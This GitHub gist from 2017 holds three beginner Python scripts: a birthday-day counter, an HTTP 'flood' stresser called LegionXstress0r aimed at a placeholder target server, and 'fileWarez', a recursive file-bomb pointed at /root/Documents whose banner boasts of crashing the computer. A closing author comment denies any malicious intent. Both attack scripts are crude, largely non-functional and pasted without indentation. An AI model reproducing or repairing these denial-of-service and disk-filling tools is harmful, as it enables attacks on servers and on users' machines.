Skip to content

Instantly share code, notes, and snippets.

@scriptedp0ison
Created February 12, 2017 13:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save scriptedp0ison/2f52078bcebf06c8ded81377b1c514f0 to your computer and use it in GitHub Desktop.
Save scriptedp0ison/2f52078bcebf06c8ded81377b1c514f0 to your computer and use it in GitHub Desktop.
Two programs that I created for fun, I dont know, Can someone with more skills help me out? Maybe comment on the code?
import sys
import _datetime
import time
print('''
This is a simple script to pull in the number of days that
the user will have until their birthday, this script requires
three arguments to run, first the current year, the month of
the users birthday, third, the users birth day
''')
print('Enter your name: ')
name = sys.stdin.readline()
print('{} today you are going to find out how many days you have until your next birthday!'.format(name))
time.sleep(3)
print('Enter current year: ')
current_year = sys.stdin.readline()
# time.sleep(3)
# print('[+] Processing current year...')
# time.sleep(3)
print('Year set to: {}'.format(current_year))
# time.sleep(2)
print('What is the month of your birthday(1-12): ')
birthday_month = sys.stdin.readline()
# time.sleep(3)
print('Month set to: {}'.format(birthday_month))
# time.sleep(2)
print('What is the day of your birthday: ')
birth_day = sys.stdin.readline()
# print('[+] Processing user day...')
# time.sleep(3)
print('Day set to: {}'.format(birth_day))
d = _datetime.date.today()
# taking the user input and adding it to the function _datetime, to get a unique result
k = _datetime.date(int(current_year), int(birthday_month), int(birth_day))
# needed to create the c variable, to just get the integer which is the exact number of days only
# without the 00.00
c = k - d
# need to append .days to the end of our c variable so that we can modify the timedelta that is
# going to be displayed once the two dates, are intertwined via mathmatic equation
print('{} you have approximately {} days until your birthdate which is on {} starts'.format(name, c.days, k))
time.sleep(2)
print('''
This program or 'might technically be a script' was coded by philt3rl3gi0n at 21:58 on February 3, 2017
''')
# import the socket module
import socket
def server_flood():
server = 'TARGET SERVER'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
server_ip = socket.gethostbyname(server)
port = 80
request = "GET /HTTP/1.1\n\nHost: " + server_ip
try:
s.connect((server_ip, port))
s.send(request.encode())
s.recv(1024)
except ConnectionError:
print('[!] Packet not sent, or connection error...')
else:
print('Flooding %s(%s) on port %s' % (server, server_ip, port))
server_flood()
finally:
print('LegionXstress0r c0ded by philt3rl3gi0n')
# return server_flood()
def packet():
server = 'TARGET SERVER'
port = 80
server_ip = socket.gethostbyname(server)
print('[+] Attacking %s(%s) on port %s' % (server, server_ip, port))
server_flood()
if __name__ == '__main__':
packet()
import os
import _datetime
import datetime
import time
# the fileWarez has begun, spread my files for my files_ware.py!
def make_file():
i = 10
c = _datetime.date.today()
a = datetime.datetime.now()
while i != 1:
try:
# this is the only piece of code that needs to be "re-evaluated" if you know what I mean
# {
spread_file_warez = 'file_warez.txt'
with open(spread_file_warez, 'w') as f:
f.write('%s-%s%s' % (i, i, spread_file_warez))
f.close()
make_file()
# }
except RecursionError:
print('We have reached the bottom of the ocean...')
time.sleep(1)
print('Looks like we need to re-build the structure of our ship!')
time.sleep(3)
print('The crew died on {} {}:{}:{} because the treasure was never found'.format(c, a.hour, a.minute, a.second))
exit()
else:
if i == 10:
print('The boat has reached shore! Going to dig up some more gold!')
time.sleep(3)
print('Found more gold at {} {}:{}:{}'.format(c, a.hour, a.minute, a.second))
time.sleep(2)
make_file()
def spread_file():
print('Getting the current working directory...')
time.sleep(1)
print('Setting the directory to your documents directory')
k = os.chdir('/root/Documents/')
if os.chdir('/root/Documents/') == k:
print('Directory set to {}'.format(os.getcwd()))
make_file()
elif os.chdir('/root/Documents/') != k:
print('Damn that sucks, we couldn\'t change the directory to {}!'.format(k))
time.sleep(1)
print('Looks like this is it!')
time.sleep(1)
print('This computer sucks, and we haven\'t even flooded it will fileWarez yet!')
time.sleep(1)
print('[+] Couldn\'t change the directory! Exiting...')
time.sleep(3)
exit()
# else:
# exit()
def main():
d = _datetime.date.today()
now = datetime.datetime.now()
print('started on {} {}:{}:{}'.format(d, now.hour, now.minute, now.second))
print('''
Lets spread some files, until a variable that will never get met is met
I am fileWarez I am going to crash this computer, I am now pwnz you
FileBomb will compile and decompile you, the wreckage that these files do
that is true pwnz, you are LuLz, a pwn without the slightest clue
''')
spread_file()
if __name__ == '__main__':
main()
else:
print('You need to run this file locally in order, for the process to start!')
time.sleep(1)
print('Exiting in 3 seconds...')
time.sleep(3)
exit()
@scriptedp0ison
Copy link
Author

ATTENTION: First of all this was not an attempt to create malware, or a virus, etc. I am not a hacker by any means. This was for fun, basically for the quote on quote File_Warez, I intended to create thousands of files, fill them with zeros and ones until each file was around 2 gigs in memory. Then take all of those files, compile them into a zip file, and unzip them, to mass anywhere from 2 - 3 terabytes. I know that i didnt even come close, I have just been on and off with programming, and only learn new stuff, when internet access is available

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment